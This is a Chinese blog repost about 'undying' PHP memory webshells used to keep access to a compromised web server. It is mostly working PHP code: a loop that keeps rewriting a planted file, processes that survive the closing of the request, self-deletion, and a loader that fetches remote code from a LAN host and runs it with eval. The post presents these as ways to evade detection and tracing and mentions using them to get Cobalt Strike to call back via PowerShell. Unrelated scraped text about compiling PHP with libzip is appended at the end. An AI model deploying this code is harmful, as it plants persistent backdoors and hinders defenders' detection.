Php-不死马的权限维持

转发自知乎: https://zhuanlan.zhihu.com/p/420615927
侵删

大家在渗透测试中,碰到java的程序,都会打上一个内存马

但是在php的程序中很少有这种webshell/维持方式,/无主文件落地的方式

接下来就让小编带你聊聊,php中不死马的权限维持,其实早在之前比较火

0x01 PHp - 不死马(内存马)

在实战当中,现在很少有人用不死马了,其实可以有效的去用来做一些防护的绕过。也加大了一些溯源的难度,和宿主检测webshell的难度

第一种,

是把木马通过写入的方式一直不停的去写入相关的文件(弊端需要一直请求该地址)

下面是比较简单的代码

<?php
$file = fopen("test.php", "w"); //打开一个文件
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);  //写入一个文件
fclose($file);
?>

当我们去访问这个php文件的时候,会生成一个 test.php的文件,当然也可以添加一个while循环,if判断

<?php
do {
  $filename = 'test.php';
  if(file_exists($filename)) {
    echo "xxx";
  }
  else {
    $file = fopen("test.php", "w");
    $txt = "<?php phpinfo();?>\n";
  fwrite($file, $txt);
  fclose($file);
  }
} while (true);
?>

第二种,

在第一种的基础上增加 几个函数,由php-fgi进程,去运行,达到无主文件落地的一个运行方式

ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
代码如下
<?php
  ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
  set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
  $interval = 5; // 每隔*秒运行
do {
  $filename = 'test.php';
  if(file_exists($filename)) {
    echo "xxx";
  }
  else {
    $file = fopen("test.php", "w");
    $txt = "<?php phpinfo();?>\n";
  fwrite($file, $txt);
  fclose($file);
  }
  sleep($interval);
} while (true);
?>

在这里插入图片描述
在这里插入图片描述

看完上面两种方式,是不是都存在一个弊端,就是还是有文件落地,我们可以不可以做到无文件的落地,答案是肯定可以的

unlink(__FILE__) //删除文件本身
ignore_user_abort(true); //与客户端的长连接
file_get_contents  //把文件读入一个字符串

我们在第二种方式的前提下,进行 语句变种,修改里面文件 代码即可

我们来组装配合下

首先 测试2.php 的dome,这样是成功的,目的是包含远程的txt文件,然后在用eval去执行,有的小伙伴肯定好奇,这样的免杀效果为0,php的免杀对于大家来说应该问题不大吧

<?php
$remote_file = 'http://192.168.3.114:81/test.txt';
$code = file_get_contents($remote_file);
eval($code);
?>

相信大家已经猜测到了什么,我们把如上代码修改,放入第二种方法中,我这边直接powershell 上线 cs

“不死马” 的缺点,如果容器,服务重启,将会断开

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
编译 ./configure --prefix=/usr/local/php --exec-prefix=/usr/local/php --bindir=/usr/local/php/bin --sbindir=/usr/local/php/sbin --includedir=/usr/local/php/include --libdir=/usr/local/php/lib/php --mandir=/usr/local/php/php/man --with-config-file-path=/usr/local/php/etc --with-mysql-sock=/var/run/mysql/mysql.sock --with-mcrypt=/usr/include --with-mhash --with-openssl --with-mysql=shared,mysqlnd --with-mysqli=shared,mysqlnd --with-pdo-mysql=shared,mysqlnd --with-gd --with-iconv --with-zlib --enable-zip --enable-inline-optimization --disable-debug --disable-rpath --enable-shared --enable-xml --enable-bcmath --enable-shmop --enable-sysvsem --enable-mbregex --enable-mbstring --enable-ftp --enable-gd-native-ttf --enable-pcntl --enable-sockets --with-xmlrpc --enable-soap --without-pear --with-gettext --enable-session --with-curl --with-jpeg-dir --with-freetype-dir --enable-opcache --enable-fpm --enable-fastcgi --with-fpm-user=www --with-fpm-group=www --without-gdbm --with-mcrypt=/usr/local/apps/libmcrypt --disable-fileinfo 报错:1, **configure: error: system libzip must be upgraded to version >=**0.11。 使用Yum最新版只到0.10,不足以达到要求。 一、先删除libzip yum remove libzip -y SSH执行以上命令,先删除libzip 和 libzip-devel 二、下载安装并手动编译 wget https://nih.at/libzip/libzip-1.2.0.tar.gz tar -zxvf libzip-1.2.0.tar.gz cd libzip-1.2.0 ./configure make && make install 三、(可忽略)另外最新版本请参考官网:https://nih.at/libzip/ 1.5.0的libzip需要cmake wget https://libzip.org/download/libzip-1.5.0.tar.gz tar -zxvf libzip-* cd libzip* mkdir build && cd build && cmake .. && make && make install 报错2: error: off_t undefined; check your library configuration 根据报错信息分析 configure: error: off_t undefined; check your library configuration 未定义的类型 off_t。 off_t 类型是在 头文件 unistd.h中定义的,在32位系统 编程成 long int ,64位系统则编译成 long long int ,这里题主的系统应该是 64位的吧,在进行编译的时候 是默认查找64位的动态链接库,但是默认情况下 centos 的动态链接库配置文件/etc/ld.so.conf里并没有加入搜索路径,这个时候需要将 /usr/local/lib64 /usr/lib64 这些针对64位的库文件路径加进去。 采用下面的方法。 添加搜索路径到配置文件 echo '/usr/local

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值